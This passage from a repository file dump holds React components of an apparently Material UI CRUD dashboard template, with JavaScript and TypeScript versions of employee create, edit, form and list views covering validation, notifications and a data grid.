autoHideDuration: 3000,\n      });\n\n      navigate('/employees');\n    } catch (createError) {\n      notifications.show(\n        `Failed to create employee. Reason: ${(createError as Error).message}`,\n        {\n          severity: 'error',\n          autoHideDuration: 3000,\n        },\n      );\n      throw createError;\n    }\n  }, [formValues, navigate, notifications, setFormErrors]);\n\n  return (\n    <PageContainer\n      title=\"New Employee\"\n      breadcrumbs={[{ title: 'Employees', path: '/employees' }, { title: 'New' }]}\n    >\n      <EmployeeForm\n        formState={formState}\n        onFieldChange={handleFormFieldChange}\n        onSubmit={handleFormSubmit}\n        onReset={handleFormReset}\n        submitButtonLabel=\"Create\"\n      />\n    </PageContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/EmployeeEdit.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport { useNavigate, useParams } from 'react-router';\nimport useNotifications from '../hooks/useNotifications/useNotifications';\nimport {\n  getOne as getEmployee,\n  updateOne as updateEmployee,\n  validate as validateEmployee,\n} from '../data/employees';\nimport EmployeeForm from './EmployeeForm';\nimport PageContainer from './PageContainer';\n\nfunction EmployeeEditForm({ initialValues, onSubmit }) {\n  const { employeeId } = useParams();\n  const navigate = useNavigate();\n\n  const notifications = useNotifications();\n\n  const [formState, setFormState] = React.useState(() => ({\n    values: initialValues,\n    errors: {},\n  }));\n  const formValues = formState.values;\n  const formErrors = formState.errors;\n\n  const setFormValues = React.useCallback((newFormValues) => {\n    setFormState((previousState) => ({\n      ...previousState,\n      values: newFormValues,\n    }));\n  }, []);\n\n  const setFormErrors = React.useCallback((newFormErrors) => {\n    setFormState((previousState) => ({\n      ...previousState,\n      errors: newFormErrors,\n    }));\n  }, []);\n\n  const handleFormFieldChange = React.useCallback(\n    (name, value) => {\n      const validateField = async (values) => {\n        const { issues } = validateEmployee(values);\n        setFormErrors({\n          ...formErrors,\n          [name]: issues?.find((issue) => issue.path?.[0] === name)?.message,\n        });\n      };\n\n      const newFormValues = { ...formValues, [name]: value };\n\n      setFormValues(newFormValues);\n      validateField(newFormValues);\n    },\n    [formValues, formErrors, setFormErrors, setFormValues],\n  );\n\n  const handleFormReset = React.useCallback(() => {\n    setFormValues(initialValues);\n  }, [initialValues, setFormValues]);\n\n  const handleFormSubmit = React.useCallback(async () => {\n    const { issues } = validateEmployee(formValues);\n    if (issues && issues.length > 0) {\n      setFormErrors(\n        Object.fromEntries(issues.map((issue) => [issue.path?.[0], issue.message])),\n      );\n      return;\n    }\n    setFormErrors({});\n\n    try {\n      await onSubmit(formValues);\n      notifications.show('Employee edited successfully.', {\n        severity: 'success',\n        autoHideDuration: 3000,\n      });\n\n      navigate('/employees');\n    } catch (editError) {\n      notifications.show(`Failed to edit employee. Reason: ${editError.message}`, {\n        severity: 'error',\n        autoHideDuration: 3000,\n      });\n      throw editError;\n    }\n  }, [formValues, navigate, notifications, onSubmit, setFormErrors]);\n\n  return (\n    <EmployeeForm\n      formState={formState}\n      onFieldChange={handleFormFieldChange}\n      onSubmit={handleFormSubmit}\n      onReset={handleFormReset}\n      submitButtonLabel=\"Save\"\n      backButtonPath={`/employees/${employeeId}`}\n    />\n  );\n}\n\nEmployeeEditForm.propTypes = {\n  initialValues: PropTypes.shape({\n    age: PropTypes.number,\n    isFullTime: PropTypes.bool,\n    joinDate: PropTypes.string,\n    name: PropTypes.string,\n    role: PropTypes.oneOf(['Development', 'Finance', 'Market']),\n  }).isRequired,\n  onSubmit: PropTypes.func.isRequired,\n};\n\nexport default function EmployeeEdit() {\n  const { employeeId } = useParams();\n\n  const [employee, setEmployee] = React.useState(null);\n  const [isLoading, setIsLoading] = React.useState(true);\n  const [error, setError] = React.useState(null);\n\n  const loadData = React.useCallback(async () => {\n    setError(null);\n    setIsLoading(true);\n\n    try {\n      const showData = await getEmployee(Number(employeeId));\n\n      setEmployee(showData);\n    } catch (showDataError) {\n      setError(showDataError);\n    }\n    setIsLoading(false);\n  }, [employeeId]);\n\n  React.useEffect(() => {\n    loadData();\n  }, [loadData]);\n\n  const handleSubmit = React.useCallback(\n    async (formValues) => {\n      const updatedData = await updateEmployee(Number(employeeId), formValues);\n      setEmployee(updatedData);\n    },\n    [employeeId],\n  );\n\n  const renderEdit = React.useMemo(() => {\n    if (isLoading) {\n      return (\n        <Box\n          sx={{\n            flex: 1,\n            display: 'flex',\n            flexDirection: 'column',\n            alignItems: 'center',\n            justifyContent: 'center',\n            width: '100%',\n            m: 1,\n          }}\n        >\n          <CircularProgress />\n        </Box>\n      );\n    }\n    if (error) {\n      return (\n        <Box sx={{ flexGrow: 1 }}>\n          <Alert severity=\"error\">{error.message}</Alert>\n        </Box>\n      );\n    }\n\n    return employee ? (\n      <EmployeeEditForm initialValues={employee} onSubmit={handleSubmit} />\n    ) : null;\n  }, [isLoading, error, employee, handleSubmit]);\n\n  return (\n    <PageContainer\n      title={`Edit Employee ${employeeId}`}\n      breadcrumbs={[\n        { title: 'Employees', path: '/employees' },\n        { title: `Employee ${employeeId}`, path: `/employees/${employeeId}` },\n        { title: 'Edit' },\n      ]}\n    >\n      <Box sx={{ display: 'flex', flex: 1 }}>{renderEdit}</Box>\n    </PageContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/EmployeeEdit.tsx",
    "content": "import * as React from 'react';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport { useNavigate, useParams } from 'react-router';\nimport useNotifications from '../hooks/useNotifications/useNotifications';\nimport {\n  getOne as getEmployee,\n  updateOne as updateEmployee,\n  validate as validateEmployee,\n  type Employee,\n} from '../data/employees';\nimport EmployeeForm, {\n  type FormFieldValue,\n  type EmployeeFormState,\n} from './EmployeeForm';\nimport PageContainer from './PageContainer';\n\nfunction EmployeeEditForm({\n  initialValues,\n  onSubmit,\n}: {\n  initialValues: Partial<EmployeeFormState['values']>;\n  onSubmit: (formValues: Partial<EmployeeFormState['values']>) => Promise<void>;\n}) {\n  const { employeeId } = useParams();\n  const navigate = useNavigate();\n\n  const notifications = useNotifications();\n\n  const [formState, setFormState] = React.useState<EmployeeFormState>(() => ({\n    values: initialValues,\n    errors: {},\n  }));\n  const formValues = formState.values;\n  const formErrors = formState.errors;\n\n  const setFormValues = React.useCallback(\n    (newFormValues: Partial<EmployeeFormState['values']>) => {\n      setFormState((previousState) => ({\n        ...previousState,\n        values: newFormValues,\n      }));\n    },\n    [],\n  );\n\n  const setFormErrors = React.useCallback(\n    (newFormErrors: Partial<EmployeeFormState['errors']>) => {\n      setFormState((previousState) => ({\n        ...previousState,\n        errors: newFormErrors,\n      }));\n    },\n    [],\n  );\n\n  const handleFormFieldChange = React.useCallback(\n    (name: keyof EmployeeFormState['values'], value: FormFieldValue) => {\n      const validateField = async (values: Partial<EmployeeFormState['values']>) => {\n        const { issues } = validateEmployee(values);\n        setFormErrors({\n          ...formErrors,\n          [name]: issues?.find((issue) => issue.path?.[0] === name)?.message,\n        });\n      };\n\n      const newFormValues = { ...formValues, [name]: value };\n\n      setFormValues(newFormValues);\n      validateField(newFormValues);\n    },\n    [formValues, formErrors, setFormErrors, setFormValues],\n  );\n\n  const handleFormReset = React.useCallback(() => {\n    setFormValues(initialValues);\n  }, [initialValues, setFormValues]);\n\n  const handleFormSubmit = React.useCallback(async () => {\n    const { issues } = validateEmployee(formValues);\n    if (issues && issues.length > 0) {\n      setFormErrors(\n        Object.fromEntries(issues.map((issue) => [issue.path?.[0], issue.message])),\n      );\n      return;\n    }\n    setFormErrors({});\n\n    try {\n      await onSubmit(formValues);\n      notifications.show('Employee edited successfully.', {\n        severity: 'success',\n        autoHideDuration: 3000,\n      });\n\n      navigate('/employees');\n    } catch (editError) {\n      notifications.show(\n        `Failed to edit employee. Reason: ${(editError as Error).message}`,\n        {\n          severity: 'error',\n          autoHideDuration: 3000,\n        },\n      );\n      throw editError;\n    }\n  }, [formValues, navigate, notifications, onSubmit, setFormErrors]);\n\n  return (\n    <EmployeeForm\n      formState={formState}\n      onFieldChange={handleFormFieldChange}\n      onSubmit={handleFormSubmit}\n      onReset={handleFormReset}\n      submitButtonLabel=\"Save\"\n      backButtonPath={`/employees/${employeeId}`}\n    />\n  );\n}\n\nexport default function EmployeeEdit() {\n  const { employeeId } = useParams();\n\n  const [employee, setEmployee] = React.useState<Employee | null>(null);\n  const [isLoading, setIsLoading] = React.useState(true);\n  const [error, setError] = React.useState<Error | null>(null);\n\n  const loadData = React.useCallback(async () => {\n    setError(null);\n    setIsLoading(true);\n\n    try {\n      const showData = await getEmployee(Number(employeeId));\n\n      setEmployee(showData);\n    } catch (showDataError) {\n      setError(showDataError as Error);\n    }\n    setIsLoading(false);\n  }, [employeeId]);\n\n  React.useEffect(() => {\n    loadData();\n  }, [loadData]);\n\n  const handleSubmit = React.useCallback(\n    async (formValues: Partial<EmployeeFormState['values']>) => {\n      const updatedData = await updateEmployee(Number(employeeId), formValues);\n      setEmployee(updatedData);\n    },\n    [employeeId],\n  );\n\n  const renderEdit = React.useMemo(() => {\n    if (isLoading) {\n      return (\n        <Box\n          sx={{\n            flex: 1,\n            display: 'flex',\n            flexDirection: 'column',\n            alignItems: 'center',\n            justifyContent: 'center',\n            width: '100%',\n            m: 1,\n          }}\n        >\n          <CircularProgress />\n        </Box>\n      );\n    }\n    if (error) {\n      return (\n        <Box sx={{ flexGrow: 1 }}>\n          <Alert severity=\"error\">{error.message}</Alert>\n        </Box>\n      );\n    }\n\n    return employee ? (\n      <EmployeeEditForm initialValues={employee} onSubmit={handleSubmit} />\n    ) : null;\n  }, [isLoading, error, employee, handleSubmit]);\n\n  return (\n    <PageContainer\n      title={`Edit Employee ${employeeId}`}\n      breadcrumbs={[\n        { title: 'Employees', path: '/employees' },\n        { title: `Employee ${employeeId}`, path: `/employees/${employeeId}` },\n        { title: 'Edit' },\n      ]}\n    >\n      <Box sx={{ display: 'flex', flex: 1 }}>{renderEdit}</Box>\n    </PageContainer>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/EmployeeForm.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Checkbox from '@mui/material/Checkbox';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport Grid from '@mui/material/Grid';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select from '@mui/material/Select';\nimport Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\nimport { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';\nimport { DatePicker } from '@mui/x-date-pickers/DatePicker';\nimport { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';\nimport ArrowBackIcon from '@mui/icons-material/ArrowBack';\nimport { useNavigate } from 'react-router';\nimport dayjs from 'dayjs';\n\nfunction EmployeeForm(props) {\n  const {\n    formState,\n    onFieldChange,\n    onSubmit,\n    onReset,\n    submitButtonLabel,\n    backButtonPath,\n  } = props;\n\n  const formValues = formState.values;\n  const formErrors = formState.errors;\n\n  const navigate = useNavigate();\n\n  const [isSubmitting, setIsSubmitting] = React.useState(false);\n\n  const handleSubmit = React.useCallback(\n    async (event) => {\n      event.preventDefault();\n\n      setIsSubmitting(true);\n      try {\n        await onSubmit(formValues);\n      } finally {\n        setIsSubmitting(false);\n      }\n    },\n    [formValues, onSubmit],\n  );\n\n  const handleTextFieldChange = React.useCallback(\n    (event) => {\n      onFieldChange(event.target.name, event.target.value);\n    },\n    [onFieldChange],\n  );\n\n  const handleNumberFieldChange = React.useCallback(\n    (event) => {\n      onFieldChange(event.target.name, Number(event.target.value));\n    },\n    [onFieldChange],\n  );\n\n  const handleCheckboxFieldChange = React.useCallback(\n    (event, checked) => {\n      onFieldChange(event.target.name, checked);\n    },\n    [onFieldChange],\n  );\n\n  const handleDateFieldChange = React.useCallback(\n    (fieldName) => (value) => {\n      if (value?.isValid()) {\n        onFieldChange(fieldName, value.toISOString() ?? null);\n      } else if (formValues[fieldName]) {\n        onFieldChange(fieldName, null);\n      }\n    },\n    [formValues, onFieldChange],\n  );\n\n  const handleSelectFieldChange = React.useCallback(\n    (event) => {\n      onFieldChange(event.target.name, event.target.value);\n    },\n    [onFieldChange],\n  );\n\n  const handleReset = React.useCallback(() => {\n    if (onReset) {\n      onReset(formValues);\n    }\n  }, [formValues, onReset]);\n\n  const handleBack = React.useCallback(() => {\n    navigate(backButtonPath ?? '/employees');\n  }, [navigate, backButtonPath]);\n\n  return (\n    <Box\n      component=\"form\"\n      onSubmit={handleSubmit}\n      noValidate\n      autoComplete=\"off\"\n      onReset={handleReset}\n      sx={{ width: '100%' }}\n    >\n      <FormGroup>\n        <Grid container spacing={2} sx={{ mb: 2, width: '100%' }}>\n          <Grid size={{ xs: 12, sm: 6 }} sx={{ display: 'flex' }}>\n            <TextField\n              value={formValues.name ?? ''}\n              onChange={handleTextFieldChange}\n              name=\"name\"\n              label=\"Name\"\n              error={!!formErrors.name}\n              helperText={formErrors.name ?? ' '}\n              fullWidth\n            />\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }} sx={{ display: 'flex' }}>\n            <TextField\n              type=\"number\"\n              value={formValues.age ?? ''}\n              onChange={handleNumberFieldChange}\n              name=\"age\"\n              label=\"Age\"\n              error={!!formErrors.age}\n              helperText={formErrors.age ?? ' '}\n              fullWidth\n            />\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }} sx={{ display: 'flex' }}>\n            <LocalizationProvider dateAdapter={AdapterDayjs}>\n              <DatePicker\n                value={formValues.joinDate ? dayjs(formValues.joinDate) : null}\n                onChange={handleDateFieldChange('joinDate')}\n                name=\"joinDate\"\n                label=\"Join date\"\n                slotProps={{\n                  textField: {\n                    error: !!formErrors.joinDate,\n                    helperText: formErrors.joinDate ?? ' ',\n                    fullWidth: true,\n                  },\n                }}\n              />\n            </LocalizationProvider>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }} sx={{ display: 'flex' }}>\n            <FormControl error={!!formErrors.role} fullWidth>\n              <InputLabel id=\"employee-role-label\">Department</InputLabel>\n              <Select\n                value={formValues.role ?? ''}\n                onChange={handleSelectFieldChange}\n                labelId=\"employee-role-label\"\n                name=\"role\"\n                label=\"Department\"\n                defaultValue=\"\"\n                fullWidth\n              >\n                <MenuItem value=\"Market\">Market</MenuItem>\n                <MenuItem value=\"Finance\">Finance</MenuItem>\n                <MenuItem value=\"Development\">Development</MenuItem>\n              </Select>\n              <FormHelperText>{formErrors.role ?? ' '}</FormHelperText>\n            </FormControl>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }} sx={{ display: 'flex' }}>\n            <FormControl>\n              <FormControlLabel\n                name=\"isFullTime\"\n                control={\n                  <Checkbox\n                    size=\"large\"\n                    checked={formValues.isFullTime ?? false}\n                    onChange={handleCheckboxFieldChange}\n                  />\n                }\n                label=\"Full-time\"\n              />\n              <FormHelperText error={!!formErrors.isFullTime}>\n                {formErrors.isFullTime ?? ' '}\n              </FormHelperText>\n            </FormControl>\n          </Grid>\n        </Grid>\n      </FormGroup>\n      <Stack direction=\"row\" spacing={2} sx={{ justifyContent: 'space-between' }}>\n        <Button\n          variant=\"contained\"\n          startIcon={<ArrowBackIcon />}\n          onClick={handleBack}\n        >\n          Back\n        </Button>\n        <Button\n          type=\"submit\"\n          variant=\"contained\"\n          size=\"large\"\n          loading={isSubmitting}\n        >\n          {submitButtonLabel}\n        </Button>\n      </Stack>\n    </Box>\n  );\n}\n\nEmployeeForm.propTypes = {\n  backButtonPath: PropTypes.string,\n  formState: PropTypes.shape({\n    errors: PropTypes.shape({\n      age: PropTypes.string,\n      isFullTime: PropTypes.string,\n      joinDate: PropTypes.string,\n      name: PropTypes.string,\n      role: PropTypes.string,\n    }).isRequired,\n    values: PropTypes.shape({\n      age: PropTypes.number,\n      isFullTime: PropTypes.bool,\n      joinDate: PropTypes.string,\n      name: PropTypes.string,\n      role: PropTypes.oneOf(['Development', 'Finance', 'Market']),\n    }).isRequired,\n  }).isRequired,\n  onFieldChange: PropTypes.func.isRequired,\n  onReset: PropTypes.func,\n  onSubmit: PropTypes.func.isRequired,\n  submitButtonLabel: PropTypes.string.isRequired,\n};\n\nexport default EmployeeForm;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/EmployeeForm.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Checkbox from '@mui/material/Checkbox';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport Grid from '@mui/material/Grid';\nimport InputLabel from '@mui/material/InputLabel';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select, { SelectChangeEvent, SelectProps } from '@mui/material/Select';\nimport Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\nimport { AdapterDayjs } from '@mui/x-date-pickers/AdapterDayjs';\nimport { DatePicker } from '@mui/x-date-pickers/DatePicker';\nimport { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';\nimport ArrowBackIcon from '@mui/icons-material/ArrowBack';\nimport { useNavigate } from 'react-router';\nimport dayjs, { Dayjs } from 'dayjs';\nimport type { Employee } from '../data/employees';\n\nexport interface EmployeeFormState {\n  values: Partial<Omit<Employee, 'id'>>;\n  errors: Partial<Record<keyof EmployeeFormState['values'], string>>;\n}\n\nexport type FormFieldValue = string | string[] | number | boolean | File | null;\n\nexport interface EmployeeFormProps {\n  formState: EmployeeFormState;\n  onFieldChange: (\n    name: keyof EmployeeFormState['values'],\n    value: FormFieldValue,\n  ) => void;\n  onSubmit: (formValues: Partial<EmployeeFormState['values']>) => Promise<void>;\n  onReset?: (formValues: Partial<EmployeeFormState['values']>) => void;\n  submitButtonLabel: string;\n  backButtonPath?: string;\n}\n\nexport default function EmployeeForm(props: EmployeeFormProps) {\n  const {\n    formState,\n    onFieldChange,\n    onSubmit,\n    onReset,\n    submitButtonLabel,\n    backButtonPath,\n  } = props;\n\n  const formValues = formState.values;\n  const formErrors = formState.errors;\n\n  const navigate = useNavigate();\n\n  const [isSubmitting, setIsSubmitting] = React.useState(false);\n\n  const handleSubmit = React.useCallback(\n    async (event: React.FormEvent<HTMLFormElement>) => {\n      event.preventDefault();\n\n      setIsSubmitting(true);\n      try {\n        await onSubmit(formValues);\n      } finally {\n        setIsSubmitting(false);\n      }\n    },\n    [formValues, onSubmit],\n  );\n\n  const handleTextFieldChange = React.useCallback(\n    (event: React.ChangeEvent<HTMLInputElement>) => {\n      onFieldChange(\n        event.target.name as keyof EmployeeFormState['values'],\n        event.target.value,\n      );\n    },\n    [onFieldChange],\n  );\n\n  const handleNumberFieldChange = React.useCallback(\n    (event: React.ChangeEvent<HTMLInputElement>) => {\n      onFieldChange(\n        event.target.name as keyof EmployeeFormState['values'],\n        Number(event.target.value),\n      );\n    },\n    [onFieldChange],\n  );\n\n  const handleCheckboxFieldChange = React.useCallback(\n    (event: React.ChangeEvent<HTMLInputElement>, checked: boolean) => {\n      onFieldChange(event.target.name as keyof EmployeeFormState['values'], checked);\n    },\n    [onFieldChange],\n  );\n\n  const handleDateFieldChange = React.useCallback(\n    (fieldName: keyof EmployeeFormState['values']) => (value: Dayjs | null) => {\n      if (value?.isValid()) {\n        onFieldChange(fieldName, value.toISOString() ?? null);\n      } else if (formValues[fieldName]) {\n        onFieldChange(fieldName, null);\n      }\n    },\n    [formValues, onFieldChange],\n  );\n\n  const handleSelectFieldChange = React.useCallback(\n    (event: SelectChangeEvent) => {\n      onFieldChange(\n        event.target.name as keyof EmployeeFormState['values'],\n        event.target.value,\n      );\n    },\n    [onFieldChange],\n  );\n\n  const handleReset = React.useCallback(() => {\n    if (onReset) {\n      onReset(formValues);\n    }\n  }, [formValues, onReset]);\n\n  const handleBack = React.useCallback(() => {\n    navigate(backButtonPath ?? '/employees');\n  }, [navigate, backButtonPath]);\n\n  return (\n    <Box\n      component=\"form\"\n      onSubmit={handleSubmit}\n      noValidate\n      autoComplete=\"off\"\n      onReset={handleReset}\n      sx={{ width: '100%' }}\n    >\n      <FormGroup>\n        <Grid container spacing={2} sx={{ mb: 2, width: '100%' }}>\n          <Grid size={{ xs: 12, sm: 6 }} sx={{ display: 'flex' }}>\n            <TextField\n              value={formValues.name ?? ''}\n              onChange={handleTextFieldChange}\n              name=\"name\"\n              label=\"Name\"\n              error={!!formErrors.name}\n              helperText={formErrors.name ?? ' '}\n              fullWidth\n            />\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }} sx={{ display: 'flex' }}>\n            <TextField\n              type=\"number\"\n              value={formValues.age ?? ''}\n              onChange={handleNumberFieldChange}\n              name=\"age\"\n              label=\"Age\"\n              error={!!formErrors.age}\n              helperText={formErrors.age ?? ' '}\n              fullWidth\n            />\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }} sx={{ display: 'flex' }}>\n            <LocalizationProvider dateAdapter={AdapterDayjs}>\n              <DatePicker\n                value={formValues.joinDate ? dayjs(formValues.joinDate) : null}\n                onChange={handleDateFieldChange('joinDate')}\n                name=\"joinDate\"\n                label=\"Join date\"\n                slotProps={{\n                  textField: {\n                    error: !!formErrors.joinDate,\n                    helperText: formErrors.joinDate ?? ' ',\n                    fullWidth: true,\n                  },\n                }}\n              />\n            </LocalizationProvider>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }} sx={{ display: 'flex' }}>\n            <FormControl error={!!formErrors.role} fullWidth>\n              <InputLabel id=\"employee-role-label\">Department</InputLabel>\n              <Select\n                value={formValues.role ?? ''}\n                onChange={handleSelectFieldChange as SelectProps['onChange']}\n                labelId=\"employee-role-label\"\n                name=\"role\"\n                label=\"Department\"\n                defaultValue=\"\"\n                fullWidth\n              >\n                <MenuItem value=\"Market\">Market</MenuItem>\n                <MenuItem value=\"Finance\">Finance</MenuItem>\n                <MenuItem value=\"Development\">Development</MenuItem>\n              </Select>\n              <FormHelperText>{formErrors.role ?? ' '}</FormHelperText>\n            </FormControl>\n          </Grid>\n          <Grid size={{ xs: 12, sm: 6 }} sx={{ display: 'flex' }}>\n            <FormControl>\n              <FormControlLabel\n                name=\"isFullTime\"\n                control={\n                  <Checkbox\n                    size=\"large\"\n                    checked={formValues.isFullTime ?? false}\n                    onChange={handleCheckboxFieldChange}\n                  />\n                }\n                label=\"Full-time\"\n              />\n              <FormHelperText error={!!formErrors.isFullTime}>\n                {formErrors.isFullTime ?? ' '}\n              </FormHelperText>\n            </FormControl>\n          </Grid>\n        </Grid>\n      </FormGroup>\n      <Stack direction=\"row\" spacing={2} sx={{ justifyContent: 'space-between' }}>\n        <Button\n          variant=\"contained\"\n          startIcon={<ArrowBackIcon />}\n          onClick={handleBack}\n        >\n          Back\n        </Button>\n        <Button\n          type=\"submit\"\n          variant=\"contained\"\n          size=\"large\"\n          loading={isSubmitting}\n        >\n          {submitButtonLabel}\n        </Button>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/crud-dashboard/components/EmployeeList.js",
    "content": "import * as React from 'react';\nimport Alert from '@mui/material/Alert';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport IconButton from '@mui/material/IconButton';\nimport Stack from '@mui/material/Stack';\nimport Tooltip from '@mui/material/Tooltip';\nimport { DataGrid, GridActionsCellItem, gridClasses } from '@mui/x-data-grid';\nimport AddIcon from '@mui/icons-material/Add';\nimport RefreshIcon from '@mui/icons-material/Refresh';\nimport EditIcon from '@mui/icons-material/Edit';\nimport DeleteIcon from '@mui/icons-material/Delete';\nimport { useLocation, useNavigate, useSearchParams } from 'react-router';\nimport { useDialogs } from '../hooks/useDialogs/useDialogs';\nimport useNotifications from '../hooks/useNotifications/useNotifications';\nimport {\n  deleteOne as deleteEmployee,\n  getMany as getEmployees,\n} from '../data/employees';\nimport PageContainer from './PageContainer';\n\nconst INITIAL_PAGE_SIZE = 10;\n\nexport default function EmployeeList() {\n  const { pathname } = useLocation();\n  const [searchParams] = useSearchParams();\n  const navigate = useNavigate();\n\n  const dialogs = useDialogs();\n  const notifications = useNotifications();\n\n  const [paginationModel, setPaginationModel] = React.useState({\n    page: searchParams.get('page') ? Number(searchParams.get('page')) : 0,\n    pageSize: searchParams.get('pageSize')\n      ? Number(searchParams.get('pageSize'))\n      : INITIAL_PAGE_SIZE,\n  });\n  const [filterModel, setFilterModel] = React.useState(\n    searchParams.get('filter')\n      ? JSON.parse(searchParams.get('filter') ?? '')\n      : { items: [] },\n  );\n  const [sortModel, setSortModel] = React.useState(\n    searchParams.get('sort') ? JSON.parse(searchParams.get('sort') ?? '') : [],\n  );\n\n  const [rowsState, setRowsState] = React.useState({\n    rows: [],\n    rowCount: 0,\n  });\n\n  const [isLoading, setIsLoading] = React.useState(true);\n  const [error, setError] = React.useState(null);\n\n  const handlePaginationModelChange = React.useCallback(\n    (model) => {\n      setPaginationModel(model);\n\n      searchParams.set('page', String(model.page));\n      searchParams.set('pageSize', String(model.pageSize));\n\n      const newSearchParamsString = searchParams.toString();\n\n      navigate(\n        `${pathname}${newSearchParamsString ? '?' : ''}${newSearchParamsString}`,\n      );\n    },\n    [navigate, pathname, searchParams],\n  );\n\n  const handleFilterModelChange = React.useCallback(\n    (model) => {\n      setFilterModel(model);\n\n      if (\n        model.items.length > 0 ||\n        (model.quickFilterValues && model.quickFilterValues.length > 0)\n      ) {\n        searchParams.set('filter', JSON.stringify(model));\n      } else {\n        searchParams.delete('filter');\n      }\n\n      const newSearchParamsString = searchParams.toString();\n\n      navigate(\n        `${pathname}${newSearchParamsString ? '?' : ''}${newSearchParamsString}`,\n      );\n    },\n    [navigate, pathname, searchParams],\n  );\n\n  const handleSortModelChange = React.useCallback(\n    (model) => {\n      setSortModel(model);\n\n      if (model.length > 0) {\n        searchParams.set('sort', JSON.stringify(model));\n      } else {\n        searchParams.delete('sort');\n      }\n\n      const newSearchParamsString = searchParams.toString();\n\n      navigate(\n        `${pathname}${newSearchParamsString ? '?' : ''}${newSearchParamsString}`,\n      );\n    },\n    [navigate, pathname, searchParams],\n  );\n\n  const loadData = React.useCallback(async () => {\n    setError(null);\n    setIsLoading(true);\n\n    try {\n      const listData = await getEmployees({\n        paginationModel,\n        sortModel,\n        filterModel,\n      });\n\n      setRowsState({\n        rows: listData.items,\n        rowCount: listData.itemCount,\n      });\n    } catch (listDataError) {\n      setError(listDataError);\n    }\n\n    setIsLoading(false);\n  }, [paginationModel, sortModel, filterModel]);\n\n  React.useEffect(() => {\n    loadData();\n  }, [loadData]);\n\n  const handleRefresh = React.useCallback(() => {\n    if (!isLoading) {\n      loadData();\n    }\n  }, [isLoading, loadData]);\n\n  const handleRowClick = React.useCallback(\n    ({ row }) => {\n      navigate(`/employees/${row.id}`);\n    },\n    [navigate],\n  );\n\n  const handleCreateClick = React.useCallback(() => {\n    navigate('/employees/new');\n  }, [navigate]);\n\n  const handleRowEdit = React.useCallback(\n    (employee) => () => {\n      navigate(`/employees/${employee.id}/edit`);\n    },\n    [navigate],\n  );\n\n  const handleRowDelete = React.useCallback(\n    (employee) => async () => {\n      const confirmed = await dialogs.confirm(\n        `Do you wish to delete ${employee.name}?`,\n        {\n          title: `Delete employee?`,\n          severity: 'error',\n          okText: 'Delete',\n          cancelText: 'Cancel',\n        },\n      );\n\n      if (confirmed) {\n        setIsLoading(true);\n        try {\n          await deleteEmployee(Number(employee.id));\n\n          notifications.show('Employee deleted successfully.', {\n            severity: 'success',\n            autoHideDuration: 3000,\n          });\n          loadData();\n        } catch (deleteError) {\n          notifications.show(\n            `Failed to delete employee. Reason:' ${deleteError.message}`,\n            {\n              severity: 'error',\n              autoHideDuration: 3000,\n            },\n          );\n        }\n        setIsLoading(false);\n      }\n    },\n    [dialogs, notifications, loadData],\n  );\n\n  const initialState = React.useMemo(\n    () => ({\n      pagination: { paginationModel: { pageSize: INITIAL_PAGE_SIZE } },\n    }),\n    [],\n  );\n\n  const columns = React.useMemo(\n    () => [\n      { field: 'id', headerName: 'ID' },\n      { field: 'name', headerName: 'Name', width: 140 },\n      { field: 'age', headerName: 'Age', type: 'number' },\n      {\n        field: 'joinDate',\n        headerName: 'Join date',\n        type: 'date',\n        valueGetter: (value) => value && new Date(value),\n        width: 140,\n      },\n      {\n        field: 'role',\n        headerName: 'Department',\n        type: 'singleSelect',\n        valueOptions: ['Market', 'Finance', 'Development'],\n        width: 160,\n      },\n      { field: 'isFullTime', headerName: 'Full-time', type: 'boolean' },\n      {\n        field: 'actions',\n        type: 'actions',\n        flex: 1,\n        align: 'right',\n        getActions: ({ row }) => [\n          <GridActionsCellItem\n            key=\"edit-item\"\n            icon={<EditIcon />}\n            label=\"Edit\"\n            onClick={handleRowEdit(row)}\n          />,\n          <GridActionsCellItem\n            key=\"delete-item\"\n            icon={<DeleteIcon />}\n            label=\"Delete\"\n            onClick={handleRowDelete(row)}\n          />,\n        ],\n      },\n    ],\n    [handleRowEdit, handleRowDelete],\n  );\n\n  const pageTitle = 'Employees';\n\n  return (\n    <PageContainer\n      title={pageTitle}\n      breadcrumbs={[{ title: pageTitle }]}\n      actions={\n        <Stack direction=\"row\" spacing={1} sx={{ alignItems: 'center' }}>\n          <Tooltip title=\"Reload data\" 